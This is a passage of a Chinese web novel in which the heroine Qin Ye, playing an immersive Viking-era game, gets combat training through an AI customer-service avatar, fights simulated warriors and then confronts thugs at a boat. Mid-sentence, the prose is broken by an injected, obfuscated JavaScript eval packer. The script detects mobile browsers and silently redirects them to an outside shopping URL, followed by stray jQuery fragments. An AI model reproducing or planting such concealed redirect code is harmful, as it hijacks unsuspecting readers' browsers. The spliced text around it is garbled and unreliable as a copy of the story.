这可不是一般的骚扰和冒犯了吧,这已经到寻衅滋事的程度了。
但在这个年代,秦冶清楚自己无法指望路人见义勇为,或者向警察求助,另外,她这么个块头和全自动战斗系统也不是吃素的,所以——
秦冶呼出了菜单栏。
她早就该这么做了!
秦冶这才迟钝地发现,这客服对话栏竟然是可以切换语音输入模式的,她果断放弃那个手感极差的虚拟键盘切换成语音模式。切换的瞬间秦也面前的UI界面就消失无踪,取而代之的是一个身材高挑,发型精致,五官端正,身穿标准职业装的女性身影。
接着这个身上缭绕着淡淡的墨绿色像素薄雾的女人开口用清脆嗓音,挽着无懈可击的微笑说道:“亲爱的玩家您好,我是您的AI智能客服艾什莉,您可以在系统中继续选择您中意的形象和名字,或者进行更多个性化定制……”
“不用了给,告诉我,”秦冶不耐烦地打断艾什莉问,“有没有系统的武术训练课程?跑酷训练课程?”
“有的,您可以直接向我发出要求,讲述需求,直达您需要的训练现场,也可以自行从主菜单的帮助——训练计划——武术训练或跑酷训练中开始您需要的训练,并更加细致地制定您的偏好和兴趣。”
太好了!果然有武术和跑酷训练计划啊!秦冶心底激动片刻,很快给出指令:“那你直接给我把武术训练开始的界面调出来吧。”
“好的,马上为您调出武术训练课程起始页面。”艾什莉如此微笑着说完后身影倏地消失,换成了秦冶更熟悉的UI界面。
不如说风格熟悉,内容却是秦冶从未见过的,这个界面的第一个选择选项,是询问她是否需要根据真实度由系统框定兵器和武学范畴,秦冶捏着下巴想了想,本来她的武术技巧就是0,这公元9世纪的武学体系能有多复杂呢?倒不是非要把武学流派分个高下,秦冶只是理所当然地想,越古早的武学应该越简单直接且粗暴吧,那对于她这种外行来说会不会更好上手呢?
于是秦冶点击了界面上那句问题下的“同意”按钮,界面跳转到了下一个步骤,这个界面仍然不是选择兵器流派,而是“请根据您的实际情况,调节疼痛拟真度”。
秦冶想了想还是认怂,她决定等自己成为真正的高手,进入高阶训练再考虑把疼痛真实感拉满,于是目前只是将疼痛感受真实度设定在20%,再下一步秦冶能选择兵器了,前三个选项毫不意外是:单手剑、斧头和长矛。
往后则是什么流星锤、匕首、连枷之类更加冷门的兵器。
秦冶想了又想,还是决定从最基础的兵器——单手剑练起。以她目前有限的对维京时代的了解来看,单手剑配上盾牌,应该是那个时代战士当中数一数二的热门搭配,能与之争锋的恐怕只有长矛配盾。
再下一个步骤——选择场地和环境,这两种大类之下都有两页多的可选项。
天气系统都如此细致,敌人分类那更是称得上纷繁复杂。各种体型、兵器、衣甲以及直观易懂的武技等级层次,同时性别可以无缝切换,全凭爱好。这几个大类交叉重组能组出的各种组合结果,秦冶估计足够自己练上一年了。
她当然不可能练一年。
敌人从最菜的开始选秦冶又感到有些浪费时间,于是她的武学课程,从使用剑盾在天气晴朗的雪地里,面对一个经历过基础训练,同时拥有三年实战经验的,手持大斧,身穿皮质甲胄的男性诺斯敌人开始。
进入实战情景中,双方彼此对峙,秦冶看到对面男人眼神凶狠咬牙切齿,好像秦冶欠他两千块还暴力拒还似的。她举起盾拔出剑来,这么简单的动作中,她也能感觉到身体在强行替她调整步幅和体态。
然而……
对方挥舞大斧砍过来的时候还是很难冷静应对啊……!
大斧劈下来的瞬间,秦冶听到斧刃切开空气的声音——不是呼啸,是一种低沉的“嗡”,像蜜蜂在耳边飞过,但更重、更沉。她的盾牌抬起来的速度比她的意识快,斧刃砸在盾面上,发出一声闷响,是木头被重物砸中的钝响,震得她整个左臂都在发麻。
自动战斗——或者艾沃尔身躯的被动战斗技能发力了,秦冶只需略侧过身举起盾来让对方斧头斜劈到盾牌上,顶住冲击后挥盾卸力便暂时化解了攻击。只这一下并不足以使对手暴露破绽,对方扔在卯足力气挥斧朝秦冶猛攻,次次都被盾牌换着角度挡下,秦冶眼看着盾牌外侧在一次次的斩击下已经飞出木屑,她心里七上八下,但步伐却丝毫不乱,肩臂也丁点未弛。
“还手啊!”对方突然吼这么一嗓子把秦冶吓了一跳,“你只会用盾吗??”
还有嘲讽环节,但这恰恰就是那么多攻击方式里对秦冶最无用的一种。她听了内心只是毫无波澜,放任身体继续边防御边后退。敌人的攻击越来越猛烈,秦冶逐渐感到虎口开始发麻,就在她担心盾牌溅出来的木屑会不会扎进眼睛里时,刚将斧头劈到盾牌上的对手趔趄几步往前冲去。秦冶迅速后撤退到一侧同时伸出脚去,对手这就被绊了正着扑向地面,然后就地打了个滚起身——下一刻被秦冶上前一剑抹了脖子。
冷不丁几滴血液飙出来沾到秦冶脸颊上,那种粘腻温热的触感让秦冶瞬间起了一身鸡皮疙瘩。
虽然动作一气呵成行云流水,但她确确实实是第一次“亲手”了解一个人。虽然她杀的是个赛博生命,但既视感和活人并没有差别。
对手倒地后抽搐着瞪圆眼睛,脖子下方的白雪迅速被鲜血浸染,直至尸体眼球凝固,他喉头的大口子还在不住冒血。
秦冶能感觉到自己胸口剧烈起伏,呼吸又短又急促,持剑的手还在微微发抖,这些反应她完全无法控制,就像她忍不住盯着尸体死不瞑目的脸。
这场对决,就这么结束了。
秦冶在原地一动不动站了有一会儿,才能做到把视线从尸体脸上移开。然后松了口气。
没有秦冶想象的那些酷炫的招式,帅气的身法,出其不意的奇袭,虽说也算一招制敌,但在这之前敌我双方的行动,还是和秦冶认知中那种令人拍案的打戏差上一截。
也许真正的打斗就是这么回事?或者说,编排出比实战观赏性更强的打戏,就是武指存在的意义?
而且秦冶仔细一品,刚刚那看似枯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528470|203625||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
燥的打抖过程其实也是有门道的。在见血封喉之前,秦冶看似只是在被动防御,一退再退,实则每一次防御都调整过盾牌的角度,还能稳稳抓紧顶住冲击,一方面可以卸掉对手兵器的冲击力,也可以制造机会令对方失衡,这里头可全都是技术和经验啊!
准确来说是,艾沃尔的技术和经验。
秦冶要做的只是尽可能熟悉理解并习惯。
跟那个大斧男的首杀之战,还算是个不错的开始,秦冶发现自己越是回顾就越是兴奋。于是她退出之后立刻选了更高难度档的敌人继续训练。
这一练,就是一个星期。
秦冶自己都没料到自己居然会在这个武学模拟训练系统里头如此沉迷,在这一个星期里,她推进游戏剧情的进度为0,但是她只要得空就上线一头扎进模拟训练。从第一个受过基本训练有过实战经验,穿着皮甲的敌人,到第七天对战全家加洛林宫廷卫士,从最普通的剑盾组合,到双手长剑,大斧,短斧,长矛,短矛,短刀……七七八八,只要是秦冶看得顺眼的全都试过。
哪怕她在第六天就把疼痛感知拉满,被脑壳破裂,关节贯穿,皮开肉绽的痛刺激得晚上迟迟不能入睡,也阻止不了接下来两天她狂热的训练热情。
第七天的中午,秦冶吃完外卖后,还是决定暂时和那个身着全甲的法兰克皇室禁卫猛男说再见,她觉得自己属实没有必要跟他硬着头皮继续耗下去,毕竟——
登录游戏进入剧情后,秦冶又身在摇摇晃晃的小渔船上,船边水里是拼命扑腾扒拉船舷的那个奴隶男孩,秦冶竟然已经忘了他叫什么了。而她对面的岸上,四个混混对她而言也是半熟半生的。
傍晚的天穹云层很低,压得人喘不过气。她闻到了海水的咸兴气味,混着船底木头的潮湿。水声在耳边来回冲荡——不是训练场里模拟的那种单调的水声,是带着杂音的、有船底和岸边石头的回声的水声。
“她害羞呢!”其中一个混混见秦冶不动弹指着她大咧咧地笑道,“咱们得主动点啊!”
于是另一个混混甩起了准备好的带铁倒钩的麻绳绳索,一边猥琐地冲着秦冶笑一边咚一声将倒钩甩进秦冶脚下船舱里,绳子被拉直绷紧后倒钩就紧紧咬住了小船。
“快拉!”又一个混混催促。秦冶勾了勾嘴角,无视了小船正快速前进,只是上前弯腰捞起铁钩连着的绳索,但她不是试图挪开铁钩,而是叉开双腿用力一拽,之前那个甩钩的混混嗷一声往前扑去,滚了半圈扑通栽进了水里。
剩下三个混混愣住了,秦冶这才取下咬住船舷的铁钩,她低头看了一眼那根钩绳——麻绳有拇指粗,被油脂浸过,表面发黑发亮,耐磨防水。铁钩有三根分叉,像鱼叉的头,但每根分叉的尖端都向内弯曲,她在百科里见过这种东西——维京人用它来拖船上岸,或者从海里拉渔,也会在水上短兵相接使使用——就像刚刚那个混混那么用。
于是秦冶也学着之前那混混的模样将铁钩的绳索攥在手中转了起来,嘴角弧度因为兴奋又深了几分。
现在的我,可不是几秒钟之前的我了。
秦冶如此想着朝铁钩朝岸上甩去。